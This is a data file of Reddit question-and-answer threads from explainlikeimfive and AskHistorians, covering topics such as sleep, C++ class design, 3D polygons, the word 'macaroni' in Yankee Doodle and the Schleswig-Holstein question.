{"q_id": "2q06v6", "title": "if a person was shrunk down to fit in the palm of one's hand, would their voice become high-pitched like in it does in movies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q06v6/eli5_if_a_person_was_shrunk_down_to_fit_in_the/", "answers": {"a_id": ["cn1mj7a", "cn1qn2w", "cn20aqp"], "score": [12, 9, 2], "text": ["I would imagine so. Itty bitty vocal folds and all that.\n\nTo quote from [Wikipedia](_URL_0_):\n\n The perceived pitch of a person's voice is determined by a number of different factors, most importantly the fundamental frequency of the sound generated by the larynx. The fundamental frequency is influenced by the ***length, size, and tension of the vocal folds.*** This frequency averages about 125 Hz in an adult male, 210 Hz in adult females, and over 300 Hz in children.", "I don't know, but you should hear the voice of the [smallest woman in the world](_URL_0_), Jyoti Amge. She's two feet tall and sounds... well, exactly as you'd expect a two-foot tall person to sound. ", "In one of the later episodes of Star Trek DS9, O'Brien and a couple of other crew members get shrunk to comical levels. Their voices don't change (possibly because it would've been unworkable to make them inhale helium for hours of taping)... \n\nThat said, yes, the voice would get high-pitched IRL - and a lot less powerful. The amount of air you're moving coupled with less power would do that..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Vocal_folds"], ["http://youtu.be/2ALEMLZKnfA"], []]}
{"q_id": "1lrawi", "title": "why aren't there enzyme supplements for gluten intolerance?", "selftext": "Those who are lactose intolerant can take lactase pills to break down the lactose in milk into more digestible forms. Why aren't there protease pills to break down gluten in the same way, so that coeliac sufferers can eat products containing gluten?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lrawi/eli5_why_arent_there_enzyme_supplements_for/", "answers": {"a_id": ["cc1zsqv"], "score": [3], "text": ["Gluten intolerance is different than lactose intolerance because gluten intolerance involves an immune reaction.  In some ways the immune reaction is similar to a drawn-out allergic reaction, but allergies are actually a different and very specific kind of immune response.\n\nSo a lot of medical researchers have started calling it \"gluten sensitive entereopathy\" or just gluten sensitivity for short, in order to distinguish it from distinct - but similar! - phenomenon like food intolerences and allergies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dfsl66", "title": "why does the nap-sleep feel a lot more restful and deep than real-sleep? with regular sleep, it\u2019s more light, whereas nap sleep it\u2019s deep, wake up disoriented, why is that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfsl66/eli5_why_does_the_napsleep_feel_a_lot_more/", "answers": {"a_id": ["f35nh9w", "f35nkmw", "f35nmcx", "f35ubc1", "f36358o", "f36s7xd", "f37va8i"], "score": [311, 47, 43, 13, 2, 4, 2], "text": ["It often has to do with the amount of time you nap. The longer you sleep, you fall \"deeper\" asleep as your brain activity changes. This is until your brain kind of resets and the cycle starts all over again after about 90 minutes. If you sleep for a full cycle (90 minutes), you'll likely be waking in a more \"shallow\" level and arouse easier. If you don't have that long, limit your nap to 25-30 minutes to stay in the first level and you'll have an easier time waking up.\n\nAdditionally, it usually takes about 5 \"resets\" for your brain to run maintenance, hence the recommendation of 7.5-8 hours of sleep per night.", "If you take a nap your body will go into REM sleep faster vs regular sleep. REM, or random eye movement, is a sleep where you actually get a restful type of sleep where you feel better and rested. Just because you sleep every night doesn\u2019t mean you get REM sleep. Shorter periods of sleep seem to help people more because your body isn\u2019t made to sleep long periods then stay awake for long periods. Before lightbulbs and electricity people usually had 2 sleep periods at night. Most people would go to sleep at dusk and sleep until the middle of the night. People would get up make food, read, do activities, have sex, then go back to sleep again. Usually waking up well rested. Now with electricity we stay up way later, force ourselves to wake up earlier and we don\u2019t do the split sleep cycle anymore. We try to cram it all in at once in a 6-8 hour time frame. Naps seems to be our way of making up for this change is our biological sleep pattern. Short naps make us seem more rested because that\u2019s what we use to sleep like before the modern world made us change faster than our bodies have been able to adapt to.", "Sleep works in stages and cycles. Usually a cycle would last about 1.5 hours, at the end of the cycle you're back in a relatively light sleep. Waking at this point would feel fairly natural, although for a full rest your brain needs a few cycles.\n\nIf you wake up disoriented after a nap, it probably meant that you were in the deepest sleep stage rather than completing a cycle.", "Depending on how long your nap is, you might still be in the REM sleep cycle. This is the part of sleep where one gets dreams. If your alarm were to ring in the middle of this cycle, you'll feel extremely lethargic and hard to get up", "What? I've never had any length nap that did anything but make me feel like I need a real sleep...", "I think everyone is giving you the obvious scientific answer, but have you ever thought that you only nap when you\u2019re really tired and feel terrible? Of course you are going to wake up feeling more refreshed than before.", "This must be the most reposted question in this sub. The worst part is that everyone already knows the answer, so I have no idea how it gets so many upvotes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "9tvr0m", "title": "difference between class composition and inheritence in c++?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tvr0m/eli5_difference_between_class_composition_and/", "answers": {"a_id": ["e8zr5at", "e90fpyq"], "score": [6, 3], "text": ["A class is a composition of data (fields) and functions (methods). The name of the class is used to describe the type of variables which are instances of this class. So if we have a class called A and it has a field on it which is of type B (where B is another class) then we have composed B with A - there is a B available within A.\n\nClasses can also be extended. This means if I have a class BaseClass I can \"extend it\" to NewClass, where NewClass will have all the non-private things of BaseClass, plus whatever else I put in this class. You can even sometimes \"override\" methods, which means NewClass can have a different version of a method in BaseClass.\n\nThe usual basic rule of thumb about when to use composition and when to use inheritance sounds something like \"Compose if B has an A, extend if B is an A\". So if you have a class Pet, well pets have owners, so a field you might have on Pet could be an Owner instance where Owner is some other class. Also, pets are animals, so if you had an Animal class, it might be worth having Pet extend the Animal class, so that it gets all animal behaviours for free. \n\nA word of caution, however, inheritance is often the cause of horrible code coupling that leads to maintenance and testing issues. This usually only occurs when the \"is a\" relationship isn't quite as strong as first thought. If class B is going to extend class A, you should be dead certain that the logic in class A is *guaranteed forever* to be *exactly* what B needs. If you don't have this guarantee, prefer composition.\n\nC++ allows more in the way of inheritance than most other object oriented capable languages. It allows multiple inheritance, and you can define \"friends\" of classes. The less you know about these the better. ", "You've already got a very in-depth answer here, but for the sake of ELI5:\n\nComposition is \"has a\" while inheritance is \"is a.\"\n\nA car has doors, wheels, an engine, etc. That's composition - it's \"composed\" of parts.\n\nA Honda is a certain king of car. It's a car, but it also has specific characteristics that make it a Honda, like the H emblem, and maybe a special engine design. This is inheritance - the Honda inherits all the characteristics of a car, but adds some characteristics that make it special."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "29dn8r", "title": "how does steam install my games?", "selftext": "With any other service (like Origin), once the initial game is downloaded, it also needs to, depending on the size of the game, take a certain amount of time to install from the raw download. The same is true with PSN and most other digital distribution platforms. However, with Steam, once the game is downloaded, it's ready to play almost immediately. How is this? Does it install as it downloads? Does the download progress bar itself take into account installation time? Or is it something else entirely?\n\nNow that I think about it, things I download to my Xbox 360 don't need separate time to install either.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29dn8r/eli5_how_does_steam_install_my_games/", "answers": {"a_id": ["cijxoe2", "cijxyg4", "cijxyz1"], "score": [6, 7, 2], "text": ["Er, steam does install various services when you try to play a game for the first time. Steam does automatically place files into the right directories (\"locations\" on your hard drive) as it downloads them, so my best guess is that Origin and others direct the files into some kind of temporary \"holding\" location until the download is done and then moves the files to their correct locations, \"installing\" them.\n\nEither that or whatever processes Origin calls \"installing\" Steam just does along with the downloading. \n\nOr, Origin might download an installer package (game.exe) and then have to run it, whereas Steam downloads the raw info. Which would make sense, as the former means that the Origin servers have to send out smaller amounts of data whereas the megamogul Steam can afford to deal with the bigger loads. \n\nAs you might be able to tell, I'm no expert. Sorry thus question isn't taking off, I'm curious too.", "Steam downloads files directly to the right location, so there is no other unpacking to be done.\n\nOr in other words, it installs as it downloads.", "I would suggest that the files on steam are downloaded in the exact order they are being installed. Once the first files are fully functional temporarily stored on your system they are basically ready to be installed in parallel to the download. Technically it is possible to slow down or pause an installation process if e.g. a needed file is not yet downloaded. So your installation is probably a lot slower (since synching to the slower download) but in total it basically skips the whole installation duration it would usually need since it's being done parallel to the download.\n\nJust an assumption though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7e56m5", "title": "In the song \"Yankee Doodle,\" what does the word \"macaroni\" refer to?", "selftext": "I had been told it referred to a fashion trend in Europe, but I found a reddit post that made an alternate assertion:\n\n >  Just a little wrong. While macaroni was an expression for dandyish men, it also refers to the decorative insignia on the front of a hat, particularly in a military context.\n\n >  In the song Yankee Doodle, the word [macaroni](_URL_0_) specifically refers to the second meaning, because the man in the song is decorating his hat, but using a mere feather rather than complicated embroidery.\n\n >  As a military song, this also pokes fun at the under-equipped American soldiers, who often lacked formal uniforms.\n\n >  The song does not make any direct comment about whether or not the man is sufficiently dandyish to be considered a macaroni. This is clear from the grammatical structure \"called it [the feather] macaroni.\" However, the slang meaning of macaroni would have been well known, and could very likely be implied.\n\nIs that true?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7e56m5/in_the_song_yankee_doodle_what_does_the_word/", "answers": {"a_id": ["dq3a6gc"], "score": [268], "text": ["I'm not really sure where that Reddit poster got that idea, because I have never heard anyone refer to the military insignia on a hat as \"macaroni\". The etymology that has now become well-known is, in fact, true. (And how often does that happen?)\n\nIn the late seventeenth, eighteenth, and early nineteenth centuries, it was fairly common for wealthy young British gentlemen to take a tour of \"the Continent\", meaning Europe - specifically or especially France and Italy (sometimes also Switzerland and Germany). While interest in beautiful or interesting scenery was becoming more important to refinement in the second half of this period, these gentlemen largely intended to visit the great cities of these countries to take in their arts and culture, learn about what made them important, and acquire polish. You can see this in, for instance, Thomas Nugent's 1778 [The grand tour, or, A journey through the Netherlands, Germany, Italy and France](_URL_0_), where the table of contents lists:\n\n > I. A Description of the principal Cities and Towns, their Situation, Origin, and antient Monuments \n\n > II. The public Edifices, the Seats and Palaces of the Princes and Nobility, their Libraries, Cabinets, Paintings, and Statues \n\n > III. The Produce of the Countries, the Customs and Manners of the People, the different Coins, their Commerce, Manufactures, Learning, and present Government\n\n > IV. An exact List of the Post routes, and of the different Carriages by Water and Land, with their settled Prices \n\nThe proper early modern British gentleman was supposed to be conversant with the important European cultures (while not preferring them to his own, of course), and to know who was who and what was what in them. He would visit the same cities as other young British men, typically forming the same opinions or parroting the ones that were already displayed in conventional travelogues of the day, allowing him to be a part of refined British male culture on his return.\n\nMacaroni pasta was already in existence at this time, although it was not typically eaten in Britain. So when the \"Macaroni Club\" formed out of young men who had seriously enjoyed their Grand Tours and intended to continue their preference for Italian styles at home, the name was significant in that it signaled how exotic the club members' tastes were as well as automatically shutting out those who had not been on the Tour or who had not gone as far as Italy and would not have any clue what the word meant. (It's also the case that the Tour was meant to make men *aware* of what was happening elsewhere in the world, but not to make them prefer France, Italy, etc. to their native Britain, which was obviously the best country in the world.) The earliest reference we have to it is a letter by Horace Walpole in 1764, where he says that it is \"composed of all the travelled young men who wear long curls and spying-glasses\". The epithet then was transferred to the young men themselves in a derogatory fashion.\n\nA [huge number of satirical cartoons](_URL_8_) were drawn about these men, some [understandable](_URL_1_) (\"A Law Macaroni\": well, he's got the raised hairstyle and a fairly flamboyant clubbed queue, [both typical of a macaroni](_URL_6_)), some [confusing](_URL_3_) (\"The Camblet Macaroni\": he looks like an ordinary workingman). There was also a satirical play, [*The Macaroni*](_URL_7_), which was fairly explicit about general sentiment about the macaroni: the main character is named \"Epicene\", a word which refers to an androgynous/effeminate man, and is uninterested in the betrothal that has been contracted for him by his father, not because his heart lies elsewhere but because he's just not that interested in sex or women. It states that a macaroni is:\n\n > fully qualified, and determined, I see, to shew the world what a contemptible creature an Englishman dwindles into, when he adopts the vices and follies of other nations.\n\nThe foppish macaroni was totally at odds with the perhaps more middle-class notion of English masculinity at the time - someone down-to-earth, not terribly interested in fashion, sensible and restrained, and more inclined to be oversexed than undersexed. (Oversexed with regard to *women*, that is. There were certainly veiled accusations of same-sex love and intercourse among macaronis, although it was not seen as a universal aspect of macaronihood. Many fictional macaronis wooed women passionately, but often proved to be a cold fish in the bedroom.) Macaronis had a \"delicacy of manners\" that combined with their over-attention to dress to make them more like women than men, a \"neuter gender\" that was sometimes referred to as \"it\". That being said, the stereotype at play here was older than the macaronis: the archetype of the over-fashionable man had been appearing in theater and fiction since the early seventeenth century, where he was often called a \"gull\" or \"gallant\". The more effeminate fop took over by the end of the century, and the macaroni can be seen as a specific subtype of fop, one that had an Italian flavor.\n\nWith all of the satirical information and characterizations based on long-held tropes out there, it's hard to sort through for the facts of actual behavior associated with the macaronis. Did they wear tall wigs with tiny hats on top, or did their hair just [bump up](_URL_5_) enough [at the *toupet*](_URL_2_) to look strange to [other Englishmen](_URL_4_)? Did they have \"vast shoe buckles\" and \"huge [coat] buttons\", or is that likewise an exaggeration of something that a modern viewer might not even notice as out-of-the-ordinary for the period? Fashion studies has long had a problem with taking satirical representations or polemical complaints as relatively straightforward critiques of fashionable dress, and it seems likely that the macaronis were not, in fact, walking around the streets looking like clowns, but were a cliquey, elitist group that irritated less fashionable observers with their lack of patriotism and apparent unconcern with external standards of masculinity. To hearers of \"Yankee Doodle\", the obvious interpretation of \"called it macaroni\" was that the Yankee was enough of a yokel to think a feather was all it took to be macaroni.\n\nSources and further reading:\n\nPhillip Carter, *Men and the Emergence of Polite Society, Britain 1660-1800* (Longman, 2001)\n\nJohn Gascoigne, *Joseph Banks and the English Enlightenment: Useful Knowledge and Polite Culture* (Cambridge University Press, 2003)\n\nBruce Redford, *Venice  &  the Grand Tour* (Yale University Press, 1996)\n\nRosemary Sweet, *Cities and the Grand Tour: The British in Italy, C.1690-1820* (Cambridge University Press, 2012)"]}, "title_urls": [], "selftext_urls": ["http://cdn.uniforms-4u.com/pd/7324/big-u-usaf-company-grade-officer-hat-8737.png"], "answers_urls": [["https://books.google.com/books?id=rCZOAAAAYAAJ", "http://findit.library.yale.edu/catalog/digcoll:2754849?_ga=2.80502932.244753395.1511184373-1492568964.1511184373", "https://www.pinterest.com/pin/228065168601960150/", "http://findit.library.yale.edu/catalog/digcoll:941628?_ga=2.80502932.244753395.1511184373-1492568964.1511184373", "https://www.pinterest.com/pin/228065168599966144/", "https://www.pinterest.com/pin/228065168601954978/", "http://findit.library.yale.edu/catalog/digcoll:941657?_ga=2.76123542.244753395.1511184373-1492568964.1511184373", "https://books.google.com/books?id=3c9ZAAAAcAAJ", "http://search.library.yale.edu/academic_commons?q=macaroni&amp;search_field=all_fields&amp;commit=Search"]]}
{"q_id": "1tjiar", "title": "what exactly are \"polygons\" in 3d games?", "selftext": "I hear people talking about this all the time, and how the stronger the console, the more onscreen polys there can be, but I can't seem to find an explanation.\n\nBonus points if you can tell me how many polygons a single onscreen cube takes up.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tjiar/eli5_what_exactly_are_polygons_in_3d_games/", "answers": {"a_id": ["ce8l2hf", "ce8ldsw", "ce8mhko", "ce8mv55", "ce8nyfe", "ce8unwn"], "score": [2, 15, 5, 2, 2, 2], "text": ["see the dolphin image here _URL_0_ \nmore triangles = more detailed models. a cube can be made of 12 triangles I guess", "I'm, a sophomore in computer science at a university, so my knowledge isn't vast, but I think I have a good explanation. Your typical 3D model in a video game is made up of many tiny polygons. These are triangles, because no other shape would be able to fill out a model as precisely. Triangles are half of a square, so they are more flexible when it comes to surfaces that bend, and they have edges, so they can fill out the surface of a model completely. These triangles are rendered on screen using algorithms that map points in a 3D plane and connect said points based on stored data. Now picture a ball. Imagine you have a ton of plastic triangles lying around. Try to wrap the ball in the triangles. They don't fit too well, because the triangles are flat. But if you cut the triangle in half and paste those halves on the ball, you can somewhat compensate for the lack of curvature. Cut it in half enough times and you can cover the ball in triangles so that you hardly notice the edges are not curved. Think of this same idea when you see a face on screen. That face is made up of many thousands of tiny triangles (polygons). The smaller the triangles, the more detail you will obviously get. However, more triangles means that you need more computing power to put them in place. Think of a face that smiles or frowns: you need algorithms that can remap the triangles quickly so the movement of the face looks realistic. This will cause weak machines to bog down because of all of the calculations that are required to remap the triangles. As for your cube question, you could make one with 12 polygons, because there are 6 sides, each with two triangles.", "I'm an artist working in the video game industry. I muck around with polygons pretty much every day.\n\nPolygons are shapes consisting of three or more points floating around in space, all connected to each other by a plane stretching between those three or more points. This plane is more or less like a little triangular piece of paper.\n\nWhen people talk about how many polygons you see in a video game, what they mean is how many of those little triangles you can see all at once. It's easy for a computer to display a single polygon in the same way it's easy for you to handle a little triangular piece of paper with your hands.\n\nWhen a computer has to display a bunch of polygons all at once, it takes a lot of computing power. Think of having a big complex shape made of dozens of triangular pieces of paper all taped together, and having to know where each of them is at any given time. That's what a computer has to do with a polygon model; it has to be able to display them and know exactly where each one is at any given time.\n\nMore computer power means that you can display more polygons onscreen at once because the computer is more readily able to display a bunch of things without getting overwhelmed. Imagine you had that complex shape made of triangles of paper, and you suddenly had more hands and eyes to be able to play with it.\n\nRegarding the cube:\n\nA cube in a video game consists of 12 triangles which are arranged into a cube shape.\n\n3D display software on most modern computers only displays things using triangles because they're very easy shapes for computers to handle. No matter what angle a triangle is at, it will always be completely flat because it only has three points. That means you need less computing power to figure out where the surface of the triangle is in relation to the points that make it up.\n\nIn many software packages built for making 3D models, shapes other than triangles (squares or hexagons, for example) can be displayed onscreen, but they're usually just approximations made using a bunch of triangles mushed together.", "I think other commenters already summed it up, but just to add on:\n\nPeople don't usually describe system power in terms of how many polygons   it can show. A system can show as many polygons as it wants technically, even if they are tinier than a single rendered pixel (Crysis 2 was notorious for this). However, when you consider performance vs. graphical fidelity onscreen polys then become relevant.\n\nA single onscreen cube could technically be made of as many polys as the artist wants. In the simplest case there'd be 12, but depending on the engine this may have ugly lighting. And if you want the cube to be soft or bouncy, it'll need a lot more polygons.", "Polygons are just areas that are have corner points (called vertices) in 3-dimensional space. You have a series of points (with x/y/z coordinates) and you join those with line segments (called edges). So polygons are usually are things like triangles (3 vertices) and rectangles and quadrilaterals (4 vertices).\n\nIn video games, the graphics engine's (and GPU hardware's) main task is to take these areas, then *project* them on 2-dimensional plane (basically flatten them on the screen), and *fill* them (usually with flat colour, shading, or textures). Thus, the biggest issue in video game graphics is *how many of these operations the graphics hardware can perform in adequate time.* Hence, the concern about how many onscreen polygons can there be. The game engines usually need to limit the amount of polygons by limiting view distance and number of onscreen models such.\n\nHow many polygons in a cube? Uh, it's been ages since I tried 3D programming or game modding, but the game engines I worked on 10 years ago (mostly Neverwinter Nights) needed 12 polygons, because they could only deal with triangles. Thus, rectangles had to be split to 2 triangles, and cubes need 6 rectangles, and 2*6=12. =) The reason why many old engines and graphics hardware don't deal with rectangles and quadrilaterals is that 3 vertices are guaranteed to lie on a plane (thus projecting and filling it is easier), but 4 and more vertices are not - essentially they can be \"bent\", which makes rendering them complicated. Not sure how things have improved, unfortunately.", "Here's a good picture for getting an idea of adding more polygons to get a better looking game - [Diminishing returns with polygon count](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Polygon_mesh"], [], [], [], [], ["http://www.extremetech.com/wp-content/uploads/2013/09/polygon-count-diminishing-returns-consoles.jpeg"]]}
{"q_id": "fuuzhx", "title": "A question about Persian cavalry armor and standards at battle of Marathon", "selftext": "Hello, I plan on recreating the Battle of Marathon for my 3D short film project and I have two questions concerning the Persian gear:\n\n1. For the cavalry in 490 BC, would this variation of composite armor based on the Altikulac Sarcophagus be historically correct?  [_URL_0_](_URL_1_) \n2. What is the purpose of these standards Persian infantry wore?  And what sort of material were they probably made of? Linen? [_URL_2_](_URL_2_) \n\nThank you very much for any advice,\n\nmartin", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fuuzhx/a_question_about_persian_cavalry_armor_and/", "answers": {"a_id": ["fmfeg8i"], "score": [7], "text": ["This is very difficult to say, for a couple of reasons. First, obviously, there's about a century between the Battle of Marathon and the sarcophagus depiction, and the Persian military undoubtedly changed over time.\n\nSecond, as you can see, the relief of the cavalryman is not exactly clear. I'm especially unclear on the interpretation of the legs, if you look at [the full relief](_URL_0_) you'll see that the soldier seems to be wearing some sort of greaves that go well above the knee, and it's really hard to say what the covering of the upper legs and glutes is supposed to be. It's at least conceivable that the artist is trying to depict some form of scale armor made from metal there, and the same goes for the section below the waist.\n\nMost likely, the Persians had at least a few different types of cavalry. Archaeological evidence and Assyrian depictions of Median cavalry suggest that some horses would have worn at least a minimal amount of scale armor, and that some riders would also wear scale armor, much like the Persian royal guard seems to have done. Essentially, such armored riders would form the forerunners of the later Cataphracts. [This depiction](_URL_2_) is one possible interpretation of what they may have looked like - but any attempt at \"reconstructions\" such as this should be taken with a large pinch of salt!\n\nThe standard-bearer seems to be derived from [this](_URL_1_) depiction on a c. 470 BC bowl. The handful of mentions of standards in Xenophon and Herodotos suggest that they were carried by commanders and officers:\n\n > When [at the battle of Plataia] the commanders of the other divisions of the barbarians saw the Persians pursuing the Greeks so hastily, they all forthwith seized their standards, and hurried after at their best speed in great disorder and disarray.\n\nThis suggests that the purpose of the standards was organizatorial and that they provided a visual cue for soldiers to follow, aiding cohesion."]}, "title_urls": [], "selftext_urls": ["http://imtw.ru/uploads/imperiall/load/load1460493049\\_032-01.jpg", "http://imtw.ru/uploads/imperiall/load/load1460493049_032-01.jpg", "https://i.pinimg.com/originals/85/8b/c0/858bc0c65e69b88fa00e807fc9f79e3f.jpg"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/4/41/Alt%C4%B1kula%C3%A7_Sarcophagus_Combat_scene_%28detail%29.jpg", "https://www.cais-soas.com/CAIS/Images2/Military/persian_standardbearer1.gif", "https://www.cais-soas.com/CAIS/Images2/Military/Achaemenid_Cavalary.gif"]]}
{"q_id": "1m5c2h", "title": "why all local news station websites have generally bad design and search features.", "selftext": "It seems universal.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m5c2h/eli5_why_all_local_news_station_websites_have/", "answers": {"a_id": ["cc5y3rt"], "score": [5], "text": ["Web dev here. Search is hard. Google makes it look way too easy. Site search, in general, sucks all across the web because it is very difficult to produce quality, relevant results.   \n\nLocal news stations are not independent. Most are part of a larger family of local stations which all use the same CMS. UX typically degrades as a site's foundation becomes more generalized. Perhaps that is contributing to the \"bad design\" you see and why it seems universal. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8yrgle", "title": "Lord Palmerston quipped \u201cThe Schleswig-Holstein question is so complicated, only three men in Europe have ever understood it. One was Prince Albert, who is dead. The second was a German professor who became mad. I am the third and I have forgotten all about it.\u201d Why was it irresolvable without war?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8yrgle/lord_palmerston_quipped_the_schleswigholstein/", "answers": {"a_id": ["e2deo09", "e2dp6rd"], "score": [1051, 9], "text": ["In case anyone gets confused about geography, Wikipedia has provided a nice annotated map of the area in question [here.] (_URL_1_) This may prove useful to anyone who is not familiar with European geography.\n\nThe Schleswig-Holstein question involves a number of things that we all love about 19th Century political history: problematic succession laws, the unification of nation states, and one Otto von Bismarck.\n\nIn order to understand the question, we must travel many centuries back to the formation of the Holy Roman Empire. This is about a thousand years outside of my specialisation so I can't talk about it in great detail, but suffice to say that the area surrounding Schleswig and Holstein was an area of contention between the Danish and the Germans, and even before that had been contested by various groups. After the dust settled, all land north of the Eider river was held by the Danish, and all land south was held by the Germans. Holstein formed a part of the Duchy of Saxony. /u/wowbuggertheinfinite posted a more detailed overview lower down the comment chain [here](_URL_0_).\n\nMoving forward to 1326, King Valdemar of Denmark *allegedly* made a statement saying that the Duchy of South Jutland (Schleswig) and the Kingdom of Denmark should always remain two separate entities. Proof of this was first produced in 1448 by Christian I of Denmark, and in 1460 Denmark retook Holstein and Schleswig, which had been lost previously. The Treaty of Ribe added the County of Holstein as a possession of the King of Denmark, but not of the Kingdom itself. One phrase in the treaty, that Schleswig and Holstein should be 'forever inseparable', would prove important later.\n\nWe can understand at this point why the issue becomes so complicated. The Danish Monarchy possessed the Kingdom of Denmark, and the Duchies of Schleswig and Holstein. However, neither Duchy was itself a component part of the Kingdom of Denmark, rather they were possessions of the *King* of Denmark. To make matters more complicated, in 1665 the Kingdom of Denmark introduced a succession law that allowed females to inherit. Schleswig and Holstein did not, and kept the Salic Law, where women were unable to inhereit. This will also prove important later.\n\nOver the years until 1806 there was a bit more back and forth between various Counts, Dukes and Kings with some territorial shifting, but nothing major. After the Holy Roman Empire was formally dissolved in 1806, Denmark extended their influence over Holstein, introducing various language and social reforms. However this was reversed by the Congress of Vienna, who included Holstein in the German Confederation. Given that the Treaty of Ribe had declared Schleswig and Holstein to be forever unseparable, this opened up a whole range of potential problems. \n\nWith the stage set, we can now move forward to 1846. The male line of the Danish Monarchy is set to die out with the death of Frederick, son of King Christian VIII. Since the Kingdom of Denmark and the duchies of Schleswig and Holstein have different succession laws, a crisis is brewing. 31% of the population of Denmark, mostly concentrated in the two Duchies, spoke German, and the rising star of Prussia offered hopes of a German unification. In 1848, tensions came to a head as Liberal revolutions broke out across Europe, and the attempts of the Danish monarchy to incorporate Schleswig-Holstein into the Kingdom of Denmark proper led to open rebellion. Prussian troops marched into Holstein in order to enforce their independence. The male heir to the Duchy, Christian August, duke of Augustenburg, was declared to be the legitimate ruler.\n\nHowever, Prussia here drew the ire of the other Great Powers of Europe, who up until now hadn't been particularly bothered by the constitutional history of a minor German Duchy. Britain and Russia wished to protect their naval interests and if Prussia could take the harbour at Kiel and build a canal to the North Sea then they had the potential to become a North Sea naval power, an outcome neither Britain nor Russia wanted. Austria were at this time in conflict with Prussia over which country would assume leadership of the German speaking peoples, and so tended to side against Prussia. While they were open to the idea of an independent Schleswig-Holstein, they were highly against idea that it could be integrated into Prussia. Additionally, the wishes of the significant Danish speaking minority in the Duchy had to be taken into account. Sweden sent troops to help Denmark, and Nicholas I of Russia diplomatically pressured the Prussians to withdraw. In 1850 the Treaty of Berlin re-established the status quo before the war, and in 1852 Christian August withdrew his claim.\n\nOver the course of the next decade, the Danish slowly tried to consolidate power in the Duchy. The teaching of German in Northern Schleswig was banned, and the teaching of Danish in the rest of Schleswig was emphasised. In 1855 the Danish proposed to create a national assembly, where the Kingdom would have 60% of the members, allowing them to outvote the Duchies. The Duchies naturally protested against this. The situation was rapidly becoming untenable.\n\nIn 1862 the British tried to propose a new system, but were wary of upsetting the Prussians, with whom they had developed a tentative friendship. By 1864, the situation had changed. Russia was preoccupied with internal issues, Sweden had no real desire to intervene without the backing of other great powers, and Britain no longer desired to hinder Prussia quite so much. Denmark were issued an ultimatum by Prussia and Austria, the latter of whom had joined in an attempt to restrain Prussia. They rejected it, and lost the ensuing war quite badly. They later rejected an international conference set up to solve the dispute and lost the continuation of the war even more badly. Austria and Prussia agreed to split Schleswig between them, with Prussia administering Schleswig and the city of Kiel, and Austria administering Holstein minus Kiel. In 1866, Bismarck declared war on Austria and occupied Holstein. After a short 3 week war the fighting ended with no changes other than the transfer of Holstein to Prussia. The status of Schleswig-Holstein would stay the same until 1920, when a plebiscite saw the Danish speaking north assigned back to Denmark.\n\nIn conclusion, the Schleswig-Holstein question was an incredibly complicated diplomatic and legal matter that came to a head in a period in which Prussia and Austria were looking to assert their superiority over German-speaking Europe. While war was certainly not inevitable, and the situation could have been solved diplomatically at several points, and attempts were made to do so, with Bismarck at the head of Prussia and German nationalism both in Prussia and Schleswig-Holstein at a fever pitch, it would have required supreme patience and diplomatic skill to do so.\n\nSources:\n\nStacie Goddard, ['When Right Makes Might: How Prussia Overturned the European Balance of Power'](_URL_2_), *International Security*, Vol. 33, No. 3 (Winter, 2008/2009), pp. 110-142\n\nHans Brems, ['The Collapse of the Binational Danish Monarchy in 1864, a Multinational Perspective'](_URL_3_), *Scandinavian Studies*, Vol. 51, No. 4, HENRIK IBSEN ISSUE (AUTUMN 1979), pp. 428-\n441\n", "Was he the referring to a specific mad professor?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://old.reddit.com/r/AskHistorians/comments/8yrgle/lord_palmerston_quipped_the_schleswigholstein/e2dg95b/", "https://en.wikipedia.org/wiki/History_of_Schleswig-Holstein#/media/File:Jutland_Peninsula_map.PNG", "https://www.jstor.org/stable/40207143?read-now=1&amp;seq=1#page_scan_tab_contents", "https://www.jstor.org/stable/40918633?read-now=1&amp;seq=1#page_scan_tab_contents"], []]}
{"q_id": "4ndt7f", "title": "could it be possible to build a ramp to space?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ndt7f/eli5_could_it_be_possible_to_build_a_ramp_to_space/", "answers": {"a_id": ["d431owc", "d431vvf"], "score": [2, 14], "text": ["The higher up the ramp goes, the greater the moment (aka turning force) about the point where the supports meet the earth, meaning that the higher you go up, the smaller the force to push the structure over becomes to the point where a simple breeze is enough to cause a total collapse\n\nThink about how much tall buildings sway in the wind and then consider that for 62 miles high\n\nAlso, the higher the structure, the higher the centre of gravity and therefore the smaller the angle which the structure could lean before becoming unbalanced and falling.\n\nThe materials we have on earth are not strong enough to counteract the huge moment created by this", "No.  This is because with any known material, after a few miles you would have bazillions of tons of weight on the base of the structure.  There is no known material that even approaches the ability to handle this. It would have to be incredibly light and strong.  Doing it as an 'elevator, or more like a cable with a car that goes up and down, is more feasible but still beyond the boundaries of current tech."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
